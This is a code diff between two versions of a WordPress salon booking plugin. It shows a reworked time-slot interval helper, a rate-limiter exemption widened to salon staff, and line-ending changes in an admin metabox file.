DateTime())->modify(SLN_Plugin::getInstance()->getSettings()->getHoursBeforeFrom());\r\n-        $currentTime->setTimezone(wp_timezone());\r\n-        \u002F\u002Ffor SLB_API_Mobile purposes\r\n-        $customTimeFormat = $_GET['time_format'] ?? false;\r\n-        \r\n-        foreach ($this->times as $v) {\r\n-            $v = $timezone ? $v->setTimezone(SLN_Func::createDateTimeZone($timezone)) : $v;\r\n-            if($currentTime \u003C= $v){\r\n-                $times[$v->format($customTimeFormat ?: 'H:i')] = $v->format($customTimeFormat ?: 'H:i');\r\n-            }\r\n-        }\r\n-\r\n-        $dates = array();\r\n-\r\n-        foreach ($this->dates as $v) {\r\n-            $v = $timezone ? $v->getDateTime()->setTimezone(SLN_Func::createDateTimeZone($timezone)) : $v->getDateTime();\r\n-            $dates[] = $v->format('Y-m-d');\r\n-        }\r\n-\r\n-        $years = array();\r\n-\r\n-        foreach ($this->years as $v) {\r\n-            $v = $timezone ? $v->getDateTime()->setTimezone(SLN_Func::createDateTimeZone($timezone)) : $v->getDateTime();\r\n-            $years[$v->format('Y')] = $v->format('Y');\r\n-        }\r\n-\r\n-        $months = SLN_Func::getMonths();\r\n-        $monthsList = array();\r\n-\r\n-        foreach ($this->months as $v) {\r\n-            $v = $timezone ? $v->getDateTime()->setTimezone(SLN_Func::createDateTimeZone($timezone)) : $v->getDateTime();\r\n-            $monthsList[$v->format('m')] = $months[intval($v->format('m'))];\r\n-        }\r\n-\r\n-        $days = array();\r\n-\r\n-        foreach ($this->days as $v) {\r\n-            $v = $timezone ? $v->getDateTime()->setTimezone(SLN_Func::createDateTimeZone($timezone)) : $v->getDateTime();\r\n-            $days[$v->format('d')] = $v->format('d');\r\n-        }\r\n-\r\n-        $workTimes = array();\r\n-\r\n-        foreach ($this->workTimes as $v) {\r\n-            $v = $timezone ? $v->setTimezone(SLN_Func::createDateTimeZone($timezone)) : $v;\r\n-            $workTimes[$v->format($customTimeFormat ?: 'H:i')] = $v->format($customTimeFormat ?: 'H:i');\r\n-        }\r\n-\r\n-        $fullDays = array();\r\n-\r\n-        foreach ($this->fullDays as $v) {\r\n-            $v = $timezone ? $v->setTimezone(SLN_Func::createDateTimeZone($timezone)) : $v;\r\n-            $fullDays[] = $v->format('Y-m-d');\r\n-        }\r\n-\r\n-        return array(\r\n-            'years'          => $years,\r\n-            'months'         => $monthsList,\r\n-            'days'           => $days,\r\n-            'times'          => $times,\r\n-            'dates'          => $dates,\r\n-            'workTimes'      => $workTimes,\r\n-            'interval'       => $this->interval,\r\n-            'fullDays'       => $fullDays,\r\n-            'suggestedDay'   => $suggestedDate->format('d'),\r\n-            'suggestedMonth' => $suggestedDate->format('m'),\r\n-            'suggestedYear'  => $suggestedDate->format('Y'),\r\n-            'suggestedDate'  => $f->date($suggestedDate),\r\n-            'suggestedTime'  => $f->time($suggestedDate, $customTimeFormat),\r\n-            'universalSuggestedDate' => $suggestedDate->format('Y-m-d'),\r\n-        );\r\n-    }\r\n-\r\n-    \u002F**\r\n-     * @return mixed\r\n-     *\u002F\r\n-    public function getInitialDate()\r\n-    {\r\n-        return $this->initialDate;\r\n-    }\r\n-\r\n-    \u002F**\r\n-     * @return mixed\r\n-     *\u002F\r\n-    public function getSuggestedDate()\r\n-    {\r\n-        return $this->suggestedDate;\r\n-    }\r\n-\r\n-    \u002F**\r\n-     * Set suggested date directly (used by CheckDateAlt protection)\r\n-     * @param DateTime $date\r\n-     *\u002F\r\n-    public function setSuggestedDate(DateTime $date)\r\n-    {\r\n-        $this->suggestedDate = $date;\r\n-    }\r\n-\r\n-    \u002F**\r\n-     * @return mixed\r\n-     *\u002F\r\n-    public function getTimes()\r\n-    {\r\n-        return $this->times;\r\n-    }\r\n-\r\n-    \u002F**\r\n-     * @return mixed\r\n-     *\u002F\r\n-    public function getYears()\r\n-    {\r\n-        return $this->years;\r\n-    }\r\n-\r\n-    \u002F**\r\n-     * @return mixed\r\n-     *\u002F\r\n-    public function getMonths()\r\n-    {\r\n-        return $this->months;\r\n-    }\r\n-\r\n-    \u002F**\r\n-     * @return mixed\r\n-     *\u002F\r\n-    public function getDays()\r\n-    {\r\n-        return $this->days;\r\n-    }\r\n-    public function getDates(){\r\n-        return $this->dates;\r\n-    }\r\n-\r\n-    public function getFullDays(){\r\n-        return array_merge(array_unique($this->fullDays), array_map(function($date) { return new DateTime($date); }, SLN_Plugin::getInstance()->getBookingCache()->getFullDays()));\r\n-    }\r\n-\r\n-    public function getWorkTimes(){\r\n-        return $this->workTimes;\r\n-    }\r\n-\r\n-    private function filterTimesByDurationWithBreakAllowance(array $times, Time $duration)\r\n-    {\r\n-        $filtered = Time::filterTimesArrayByDuration($times, $duration);\r\n-\r\n-        $missing = array_diff_key($times, $filtered);\r\n-        if (empty($missing)) {\r\n-            return $filtered;\r\n-        }\r\n-\r\n-        $dayBookings = $this->availabilityHelper->getDayBookings();\r\n-        if (!$dayBookings) {\r\n-            return $filtered;\r\n-        }\r\n-\r\n-        $breakSlots = array();\r\n-        foreach ($missing as $label => $slot) {\r\n-            if ($dayBookings->isBreakSlot($slot)) {\r\n-                $filtered[$label] = $slot;\r\n-                $breakSlots[$label] = $slot;\r\n-            }\r\n-        }\r\n-\r\n-        if (empty($filtered)) {\r\n-            if (!empty($breakSlots)) {\r\n-                ksort($breakSlots);\r\n-                return $breakSlots;\r\n-            }\r\n-\r\n-            return $filtered;\r\n-        }\r\n-\r\n-        ksort($filtered);\r\n-\r\n-        return $filtered;\r\n-    }\r\n-}\r\n+\u003C?php\n+\u002F\u002F phpcs:ignoreFile WordPress.Security.NonceVerification.Recommended\n+\u002F\u002F phpcs:ignoreFile WordPress.Security.ValidatedSanitizedInput.MissingUnslash\n+\u002F\u002F phpcs:ignoreFile WordPress.Security.ValidatedSanitizedInput.InputNotSanitized\n+\n+use Salon\\Util\\Date;\n+use Salon\\Util\\Time;\n+\n+class SLN_Helper_Intervals\n+{\n+    \u002F** @var  SLN_Helper_Availability *\u002F\n+    protected $availabilityHelper;\n+    protected $initialDate;\n+    protected $suggestedDate;\n+\n+    protected $times;\n+    protected $years;\n+    protected $months;\n+    protected $days;\n+    protected $dates;\n+    protected $fullDays  = array();\n+    protected $workTimes = array();\n+\n+    public function __construct(SLN_Helper_Availability $availabilityHelper)\n+    {\n+        $this->availabilityHelper = $availabilityHelper;\n+    }\n+\n+    public function setDatetime(DateTime $date, $duration = null)\n+    {\n+        $this->initialDate = $this->bindInitialDate($date);\n+        $ah                = $this->availabilityHelper;\n+        $times             = $ah->getCachedTimes(Date::create($date), $duration);\n+        $interval          = $ah->getHoursBeforeHelper();\n+        $to                = $interval->getToDate();\n+        $clone             = clone $date;\n+        $dateDiff = $to->diff($date);\n+        if($dateDiff->y > 10){\n+            $date->modify(($dateDiff->invert ? '+' : '-'). ($dateDiff->y - 10 ). ' years');\n+        }\n+        while (empty($times) && $date \u003C= $to) {\n+            $this->fullDays[] = clone $date;\n+            $date->modify('+1 days');\n+            $times = $ah->getCachedTimes( Date::create($date), $duration);\n+        }\n+        if (empty($times)) {\n+            $date = $clone;\n+            $from = $interval->getFromDate();\n+            while (empty($times) && $date >= $from) {\n+                $this->fullDays[] = clone $date;\n+                $date->modify('-1 days');\n+                $times = $ah->getCachedTimes(Date::create($date), $duration);\n+            }\n+        }\n+        if ($duration) {\n+            $originalTimes = $times;\n+            \u002F\u002F Check if any service allows nested bookings (per-service setting)\n+            \u002F\u002F If yes, include break slots; otherwise use strict duration filtering\n+            $times = $this->filterTimesByDurationWithBreakAllowance($times, $duration);\n+            SLN_Helper_AvailabilityDebugger::logFilteredTimes($originalTimes, $times, 'Duration + Break Allowance Filter');\n+        }\n+\n+        if (SLN_Plugin::getInstance()->getSettings()->get('auto_align_slots') && $duration) {\n+            $originalTimes = $times;\n+            $times = $this->filterTimesAlignedToServiceDuration($times, $duration);\n+            SLN_Helper_AvailabilityDebugger::logFilteredTimes($originalTimes, $times, 'Auto-Align Slots Filter');\n+        }\n+\n+        SLN_Helper_AvailabilityDebugger::logAvailableTimes($times, 'After all filtering');\n+        $this->times   = $times;\n+        $suggestedTime = $date->format('H:i');\n+        \n+        \u002F\u002F FIX: SuggestedDate 2026 Bug - Replace buggy loop that advances date\n+        \u002F\u002F If suggested time is not in available times array, pick first available time\n+        \u002F\u002F This prevents date advancement bug that occurred after 86400 iterations\n+        if(!isset($times[$suggestedTime])){\n+            \u002F\u002F Safety check: if no times available, keep current time\n+            \u002F\u002F CheckDateAlt will handle moving to next available day\n+            if (!empty($times)) {\n+                \u002F\u002F Pick the first available time from the times array\n+                \u002F\u002F This ensures we only use validated, available times\n+                reset($times);\n+                $firstAvailableTime = key($times);\n+                \n+                \u002F\u002F Parse time safely and update the date object\n+                if ($firstAvailableTime !== null) {\n+                    $timeParts = explode(':', $firstAvailableTime);\n+                    if (count($timeParts) === 2) {\n+                        $date->setTime((int)$timeParts[0], (int)$timeParts[1], 0);\n+                    }\n+                }\n+            }\n+            \u002F\u002F If $times is empty, do nothing - CheckDateAlt will handle it\n+        }\n+        $this->suggestedDate = $date;\n+        $this->bindDates($ah->getCachedDays());\n+        ksort($this->times);\n+        ksort($this->years);\n+        ksort($this->days);\n+        ksort($this->months);\n+\n+        $this->workTimes = $ah->getWorkTimes(Date::create($date));\n+        $this->interval = $ah->getInterval();\n+    }\n+\n+    public function bindInitialDate($date)\n+    {\n+        $from = $this->availabilityHelper->getHoursBeforeHelper()->getFromDate();\n+        if ($date \u003C $from) {\n+            $date = $from;\n+        }\n+\n+        return $date;\n+    }\n+\n+    private function bindDates($dates)\n+    {\n+        $this->years  = array();\n+        $this->months = array();\n+        $this->days   = array();\n+        $this->dates  = array();\n+        $checkDay     = $this->suggestedDate->format('Y-m-');\n+        $checkMonth   = $this->suggestedDate->format('Y-');\n+        foreach ($dates as $date) {\n+            list($year, $month, $day) = explode('-', $date->getDateTime()->format('Y-m-d'));\n+            $this->years[$year] = $date;\n+            if (strpos($date->getDateTime()->format('Y-m-d'), $checkMonth) === 0) {\n+                $this->months[$month] = $date;\n+            }\n+            if (strpos($date->getDateTime()->format('Y-m-d'), $checkDay) === 0) {\n+                $this->days[$day] = $date;\n+            }\n+            $this->dates[] = $date;\n+        }\n+        ksort($this->years);\n+        ksort($this->months);\n+        ksort($this->days);\n+    }\n+\n+    public function toArray($timezone = '')\n+    {\n+        $f = SLN_plugin::getInstance()->format();\n+\n+        $suggestedDate = $timezone ? $this->suggestedDate->setTimezone(SLN_Func::createDateTimeZone($timezone)) : $this->suggestedDate;\n+\n+        $times = array();\n+        $currentTime = (new DateTime())->modify(SLN_Plugin::getInstance()->getSettings()->getHoursBeforeFrom());\n+        $currentTime->setTimezone(wp_timezone());\n+        \u002F\u002Ffor SLB_API_Mobile purposes\n+        $customTimeFormat = $_GET['time_format'] ?? false;\n+        \n+        foreach ($this->times as $v) {\n+            $v = $timezone ? $v->setTimezone(SLN_Func::createDateTimeZone($timezone)) : $v;\n+            if($currentTime \u003C= $v){\n+                $times[$v->format($customTimeFormat ?: 'H:i')] = $v->format($customTimeFormat ?: 'H:i');\n+            }\n+        }\n+\n+        $dates = array();\n+\n+        foreach ($this->dates as $v) {\n+            $v = $timezone ? $v->getDateTime()->setTimezone(SLN_Func::createDateTimeZone($timezone)) : $v->getDateTime();\n+            $dates[] = $v->format('Y-m-d');\n+        }\n+\n+        $years = array();\n+\n+        foreach ($this->years as $v) {\n+            $v = $timezone ? $v->getDateTime()->setTimezone(SLN_Func::createDateTimeZone($timezone)) : $v->getDateTime();\n+            $years[$v->format('Y')] = $v->format('Y');\n+        }\n+\n+        $months = SLN_Func::getMonths();\n+        $monthsList = array();\n+\n+        foreach ($this->months as $v) {\n+            $v = $timezone ? $v->getDateTime()->setTimezone(SLN_Func::createDateTimeZone($timezone)) : $v->getDateTime();\n+            $monthsList[$v->format('m')] = $months[intval($v->format('m'))];\n+        }\n+\n+        $days = array();\n+\n+        foreach ($this->days as $v) {\n+            $v = $timezone ? $v->getDateTime()->setTimezone(SLN_Func::createDateTimeZone($timezone)) : $v->getDateTime();\n+            $days[$v->format('d')] = $v->format('d');\n+        }\n+\n+        $workTimes = array();\n+\n+        foreach ($this->workTimes as $v) {\n+            $v = $timezone ? $v->setTimezone(SLN_Func::createDateTimeZone($timezone)) : $v;\n+            $workTimes[$v->format($customTimeFormat ?: 'H:i')] = $v->format($customTimeFormat ?: 'H:i');\n+        }\n+\n+        $fullDays = array();\n+\n+        foreach ($this->fullDays as $v) {\n+            $v = $timezone ? $v->setTimezone(SLN_Func::createDateTimeZone($timezone)) : $v;\n+            $fullDays[] = $v->format('Y-m-d');\n+        }\n+\n+        return array(\n+            'years'          => $years,\n+            'months'         => $monthsList,\n+            'days'           => $days,\n+            'times'          => $times,\n+            'dates'          => $dates,\n+            'workTimes'      => $workTimes,\n+            'interval'       => $this->interval,\n+            'fullDays'       => $fullDays,\n+            'suggestedDay'   => $suggestedDate->format('d'),\n+            'suggestedMonth' => $suggestedDate->format('m'),\n+            'suggestedYear'  => $suggestedDate->format('Y'),\n+            'suggestedDate'  => $f->date($suggestedDate),\n+            'suggestedTime'  => $f->time($suggestedDate, $customTimeFormat),\n+            'universalSuggestedDate' => $suggestedDate->format('Y-m-d'),\n+        );\n+    }\n+\n+    \u002F**\n+     * @return mixed\n+     *\u002F\n+    public function getInitialDate()\n+    {\n+        return $this->initialDate;\n+    }\n+\n+    \u002F**\n+     * @return mixed\n+     *\u002F\n+    public function getSuggestedDate()\n+    {\n+        return $this->suggestedDate;\n+    }\n+\n+    \u002F**\n+     * Set suggested date directly (used by CheckDateAlt protection)\n+     * @param DateTime $date\n+     *\u002F\n+    public function setSuggestedDate(DateTime $date)\n+    {\n+        $this->suggestedDate = $date;\n+    }\n+\n+    \u002F**\n+     * @return mixed\n+     *\u002F\n+    public function getTimes()\n+    {\n+        return $this->times;\n+    }\n+\n+    \u002F**\n+     * @return mixed\n+     *\u002F\n+    public function getYears()\n+    {\n+        return $this->years;\n+    }\n+\n+    \u002F**\n+     * @return mixed\n+     *\u002F\n+    public function getMonths()\n+    {\n+        return $this->months;\n+    }\n+\n+    \u002F**\n+     * @return mixed\n+     *\u002F\n+    public function getDays()\n+    {\n+        return $this->days;\n+    }\n+    public function getDates(){\n+        return $this->dates;\n+    }\n+\n+    public function getFullDays(){\n+        return array_merge(array_unique($this->fullDays), array_map(function($date) { return new DateTime($date); }, SLN_Plugin::getInstance()->getBookingCache()->getFullDays()));\n+    }\n+\n+    public function getWorkTimes(){\n+        return $this->workTimes;\n+    }\n+\n+    private function filterTimesByDurationWithBreakAllowance(array $times, Time $duration)\n+    {\n+        $filtered = Time::filterTimesArrayByDuration($times, $duration);\n+\n+        $missing = array_diff_key($times, $filtered);\n+        if (empty($missing)) {\n+            return $filtered;\n+        }\n+\n+        $dayBookings = $this->availabilityHelper->getDayBookings();\n+        if (!$dayBookings) {\n+            return $filtered;\n+        }\n+\n+        $breakSlots = array();\n+        foreach ($missing as $label => $slot) {\n+            if ($dayBookings->isBreakSlot($slot)) {\n+                $filtered[$label] = $slot;\n+                $breakSlots[$label] = $slot;\n+            }\n+        }\n+\n+        if (empty($filtered)) {\n+            if (!empty($breakSlots)) {\n+                ksort($breakSlots);\n+                return $breakSlots;\n+            }\n+\n+            return $filtered;\n+        }\n+\n+        ksort($filtered);\n+\n+        return $filtered;\n+    }\n+\n+    \u002F**\n+     * Filter available times to only show slots aligned with service duration.\n+     * Uses SLN_Func::getAutoAlignInterval() for the canonical interval list.\n+     *\n+     * @param array     $times    Available time slots (key = \"HH:MM\" string)\n+     * @param Time      $duration Service duration\n+     * @return array Filtered times; falls back to original array if nothing qualifies.\n+     *\u002F\n+    private function filterTimesAlignedToServiceDuration(array $times, Time $duration)\n+    {\n+        if (empty($times)) {\n+            return $times;\n+        }\n+\n+        $durationMinutes = SLN_Func::getMinutesFromDuration($duration->toString());\n+\n+        if ($durationMinutes \u003C 30) {\n+            return $times;\n+        }\n+\n+        $alignmentInterval = SLN_Func::getAutoAlignInterval($durationMinutes);\n+\n+        \u002F\u002F The booking interval (in minutes) is used to detect shift boundaries.\n+        \u002F\u002F A gap between consecutive slots larger than this value signals a new shift,\n+        \u002F\u002F so the alignment anchor resets to the first slot of that shift.\n+        $bookingInterval = (int) SLN_Plugin::getInstance()->getSettings()->get('interval') ?: 15;\n+\n+        $alignedTimes  = array();\n+        $anchorMinutes = null;\n+        $prevMinutes   = null;\n+\n+        foreach ($times as $timeKey => $timeValue) {\n+            if (!preg_match('\u002F^(\\d{2}):(\\d{2})$\u002F', $timeKey, $matches)) {\n+                continue;\n+            }\n+            $totalMinutes = ((int) $matches[1] * 60) + (int) $matches[2];\n+\n+            \u002F\u002F Reset anchor at the start of each shift (gap wider than one booking interval).\n+            if ($anchorMinutes === null || ($prevMinutes !== null && ($totalMinutes - $prevMinutes) > $bookingInterval)) {\n+                $anchorMinutes = $totalMinutes;\n+            }\n+\n+            $offsetFromAnchor = $totalMinutes - $anchorMinutes;\n+            if ($offsetFromAnchor % $alignmentInterval === 0) {\n+                $alignedTimes[$timeKey] = $timeValue;\n+            }\n+\n+            $prevMinutes = $totalMinutes;\n+        }\n+\n+        return empty($alignedTimes) ? $times : $alignedTimes;\n+    }\n+}\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FHelper\u002FRateLimiter.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FHelper\u002FRateLimiter.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FHelper\u002FRateLimiter.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FHelper\u002FRateLimiter.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -37,8 +37,13 @@\n      *\u002F\n     public static function checkRateLimit($identifier = null, $strict = false)\n     {\n-        \u002F\u002F Skip rate limiting for logged-in admins\n-        if (is_user_logged_in() && current_user_can('manage_salon_settings')) {\n+        \u002F\u002F Skip for salon settings admins and salon staff (manage_salon). PWA uses token auth +\n+        \u002F\u002F wp_set_current_user before permission checks; this also guards any code path that calls\n+        \u002F\u002F checkRateLimit() without the mobile API's edit_posts shortcut. Public\u002Fbooking forms stay limited by IP.\n+        if ( is_user_logged_in() && (\n+            current_user_can( 'manage_salon_settings' )\n+            || current_user_can( 'manage_salon' )\n+        ) ) {\n             return true;\n         }\n         \ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FMetabox\u002FAttendant.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FMetabox\u002FAttendant.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FMetabox\u002FAttendant.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FMetabox\u002FAttendant.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -1,119 +1,119 @@\n-\u003C?php\r\n-\u002F\u002F phpcs:ignoreFile WordPress.Security.EscapeOutput.OutputNotEscaped\r\n-class SLN_Metabox_Attendant extends SLN_Metabox_Abstract {\r\n-\tprotected $fields = array(\r\n-\t\t'availabilities' => '',\r\n-\t\t'holidays' => '',\r\n-\t\t'email' => 'text',\r\n-\t\t'phone' => 'text',\r\n-\t\t'services' => 'nofilter',\r\n-\t\t'google_calendar' => 'nofilter',\r\n-\t\t'multiple_customers' => 'bool',\r\n-\t\t'staff_member_id' => 'nofilter',\r\n-\t\t'limit_staff_member_to_assigned_bookings_only' => 'bool',\r\n-\t\t'limit_staff_member_to_backend_calendar_only' => 'bool',\r\n-        'display_phone_inside_booking_notification' => 'bool',\r\n-        'sms_prefix' => 'text',\r\n-\t);\r\n-\r\n-\tprotected function init() {\r\n-\t\tparent::init();\r\n-\t\tadd_action('admin_print_styles-edit.php', array($this, 'admin_print_styles'));\r\n-\t\tadd_action('in_admin_header', array($this, 'in_admin_header'));\r\n-\t}\r\n-\r\n-    public function add_meta_boxes()\r\n-    {\r\n-        $postType = $this->getPostType();\r\n-        add_meta_box(\r\n-            'sln_service-details',\r\n-            __('Assistant Details', 'salon-booking-system'),\r\n-            array($this, 'details_meta_box'),\r\n-            $postType,\r\n-            'normal',\r\n-            'high'\r\n-        );\r\n-        if ($this->getPlugin()->getSettings()->get('google_calendar_enabled')) {\r\n-            add_meta_box(\r\n-                'sln_attendant-gcalendar',\r\n-                __('Assistant Google Calendar', 'salon-booking-system'),\r\n-                array($this, 'gcalendar_meta_box'),\r\n-                $postType,\r\n-                'side',\r\n-                'low'\r\n-            );\r\n-        }\r\n-        remove_meta_box('postexcerpt', $postType, 'side');\r\n-        add_meta_box(\r\n-            'postexcerpt',\r\n-            __('Assistant description', 'salon-booking-system'),\r\n-            array($this, 'post_excerpt_meta_box'),\r\n-            $postType,\r\n-            'normal',\r\n-            'high'\r\n-        );\r\n-    }\r\n-\r\n-\tpublic function gcalendar_meta_box($object) {\r\n-\t\t$attendant = $this->getPlugin()->createAttendant($object);\r\n-\t\techo $this->getPlugin()->loadView('metabox\u002Fattendant_gcalendar', compact('attendant'));\r\n-\r\n-\t}\r\n-\r\n-\tpublic function post_excerpt_meta_box($post) {\r\n-\t\techo $this->getPlugin()->loadView('metabox\u002Fattendant_description', compact('post'));\r\n-\t}\r\n-\r\n-\tpublic function details_meta_box($object, $box) {\r\n-\t\techo $this->getPlugin()->loadView(\r\n-\t\t\t'metabox\u002Fattendant',\r\n-\t\t\tarray(\r\n-\t\t\t\t'metabox' => $this,\r\n-\t\t\t\t'settings' => $this->getPlugin()->getSettings(),\r\n-\t\t\t\t'attendant' => $this->getPlugin()->createAttendant($object),\r\n-\t\t\t\t'postType' => $this->getPostType(),\r\n-\t\t\t\t'helper' => new SLN_Metabox_Helper(),\r\n-\t\t\t)\r\n-\t\t);\r\n-\t\tdo_action($this->getPostType() . '_details_meta_box', $object, $box);\r\n-\t}\r\n-\r\n-\tprotected function getFieldList() {\r\n-\t\treturn apply_filters('sln.metabox.attendant.getFieldList', $this->fields);\r\n-\t}\r\n-\r\n-\tpublic function save_post($post_id, $post) {\r\n-\t\tif (!$this->getPlugin()->getSettings()->get('google_calendar_enabled')) {\r\n-\t\t\tunset($this->fields['google_calendar']);\r\n-\t\t}\r\n-\t\t$k = '_sln_attendant_availabilities';\r\n-\t\t\r\n-\t\tif (isset($_POST[$k])) {\r\n-\t\t\t$_POST[$k] = SLN_Helper_AvailabilityItems::processSubmission($_POST[$k]);\r\n-\t\t}\r\n-\r\n-\t\t$k = '_sln_attendant_holidays';\r\n-\t\tif (isset($_POST[$k])) {\r\n-\t\t\t$_POST[$k] = SLN_Helper_HolidayItems::processSubmission($_POST[$k]);\r\n-\t\t}\r\n-\r\n-\t\t$k = 'sln_attendant_services';\r\n-\t\tif (isset($_POST['_' . $k]) && is_array($_POST['_' . $k])) {\r\n-\t\t\tforeach ($_POST['_' . $k] as $kk => $vv) {\r\n-\t\t\t\t$_POST['_' . $k][$kk] = str_replace($k . '_', '', sanitize_text_field($vv));\r\n-\t\t\t}\r\n-\t\t}\r\n-\r\n-\t\tparent::save_post($post_id, $post);\r\n-\t\t\r\n-\t\t\u002F\u002F Refresh booking cache when assistant availability or holiday rules change\r\n-\t\t\u002F\u002F Assistant-level rules affect availability calculations for all dates\r\n-\t\t$this->getPlugin()->getBookingCache()->refreshAll();\r\n-\t}\r\n-\r\n-\tprotected function enqueueAssets() {\r\n-\t\tparent::enqueueAssets();\r\n-\t\tSLN_Action_InitScripts::enqueueCustomSliderRange();\r\n-\t\tSLN_Action_InitScripts::enqueueCustomMetaService();\r\n-\t}\r\n-}\r\n+\u003C?php\n+\u002F\u002F phpcs:ignoreFile WordPress.Security.EscapeOutput.OutputNotEscaped\n+class SLN_Metabox_Attendant extends SLN_Metabox_Abstract {\n+\tprotected $fields = array(\n+\t\t'availabilities' => '',\n+\t\t'holidays' => '',\n+\t\t'email' => 'text',\n+\t\t'phone' => 'text',\n+\t\t'services' => 'nofilter',\n+\t\t'google_calendar' => 'nofilter',\n+\t\t'multiple_customers' => 'bool',\n+\t\t'staff_member_id' => 'nofilter',\n+\t\t'limit_staff_member_to_assigned_bookings_only' => 'bool',\n+\t\t'limit_staff_member_to_backend_calendar_only' => 'bool',\n+        'display_phone_inside_booking_notification' => 'bool',\n+        'sms_prefix' => 'text',\n+\t);\n+\n+\tprotected function init() {\n+\t\tparent::init();\n+\t\tadd_action('admin_print_styles-edit.php', array($this, 'admin_print_styles'));\n+\t\tadd_action('in_admin_header', array($this, 'in_admin_header'));\n+\t}\n+\n+    public function add_meta_boxes()\n+    {\n+        $postType = $this->getPostType();\n+        add_meta_box(\n+            'sln_service-details',\n+            __('Assistant Details', 'salon-booking-system'),\n+            array($this, 'details_meta_box'),\n+            $postType,\n+            'normal',\n+            'high'\n+        );\n+        if ($this->getPlugin()->getSettings()->get('google_calendar_enabled')) {\n+            add_meta_box(\n+                'sln_attendant-gcalendar',\n+                __('Assistant Google Calendar', 'salon-booking-system'),\n+                array($this, 'gcalendar_meta_box'),\n+                $postType,\n+                'side',\n+                'low'\n+            );\n+        }\n+        remove_meta_box('postexcerpt', $postType, 'side');\n+        add_meta_box(\n+            'postexcerpt',\n+            __('Assistant description', 'salon-booking-system'),\n+            array($this, 'post_excerpt_meta_box'),\n+            $postType,\n+            'normal',\n+            'high'\n+        );\n+    }\n+\n+\tpublic function gcalendar_meta_box($object) {\n+\t\t$attendant = $this->getPlugin()->createAttendant($object);\n+\t\techo $this->getPlugin()->loadView('metabox\u002Fattendant_gcalendar', compact('attendant'));\n+\n+\t}\n+\n+\tpublic function post_excerpt_meta_box($post) {\n+\t\techo $this->getPlugin()->loadView('metabox\u002Fattendant_description', compact('post'));\n+\t}\n+\n+\tpublic function details_meta_box($object, $box) {\n+\t\techo $this->getPlugin()->loadView(\n+\t\t\t'metabox\u002Fattendant',\n+\t\t\tarray(\n+\t\t\t\t'metabox' => $this,\n+\t\t\t\t'settings' => $this->getPlugin()->getSettings(),\n+\t\t\t\t'attendant' => $this->getPlugin()->createAttendant($object),\n+\t\t\t\t'postType' => $this->getPostType(),\n+\t\t\t\t'helper' => new SLN_Metabox_Helper(),\n+\t\t\t)\n+\t\t);\n+\t\tdo_action($this->getPostType() . '_details_meta_box', $object, $box);\n+\t}\n+\n+\tprotected function getFieldList() {\n+\t\treturn apply_filters('sln.metabox.attendant.getFieldList', $this->fields);\n+\t}\n+\n+\tpublic function save_post($post_id, $post) {\n+\t\tif (!$this->getPlugin()->getSettings()->get('google_calendar_enabled')) {\n+\t\t\tunset($this->fields['google_calendar']);\n+\t\t}\n+\t\t$k = '_sln_attendant_availabilities';\n+\t\t\n+\t\tif (isset($_POST[$k])) {\n+\t\t\t$_POST[$k] = SLN_Helper_AvailabilityItems::processSubmission($_POST[$k]);\n+\t\t}\n+\n+\t\t$k = '_sln_attendant_holidays';\n+\t\tif (isset($_POST[$k])) {\n+\t\t\t$_POST[$k] = SLN_Helper_HolidayItems::processSubmission($_POST[$k]);\n+\t\t}\n+\n+\t\t$k = 'sln_attendant_services';\n+\t\tif (isset($_POST['_' . $k]) && is_array($_POST['_' . $k])) {\n+\t\t\tforeach ($_POST['_' . $k] as $kk => $vv) {\n+\t\t\t\t$_POST['_' . $k][$kk] = str_replace($k . '_', '', sanitize_text_field($vv));\n+\t\t\t}\n+\t\t}\n+\n+\t\tparent::save_post($post_id, $post);\n+\t\t\n+\t\t\u002F\u002F Refresh booking cache when assistant availability or holiday rules change\n+\t\t\u002F\u002F Assistant-level rules affect availability calculations for all dates\n+\t\t$this->getPlugin()->getBookingCache()->refreshAll();\n+\t}\n+\n+\tprotected function enqueueAssets() {\n+\t\tparent::enqueueAssets();\n+\t\tSLN_Action_InitScripts::enqueueCustomSliderRange();\n+\t\tSLN_Action_InitScripts::enqueueCustomMetaService();\n+\t}\n+}\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FMetabox\u002FBookingActions.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FMetabox\u002FBookingActions.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FMetabox\u002FBookingActions.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FMetabox\u002FBookingActions.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -1,45 +1,45 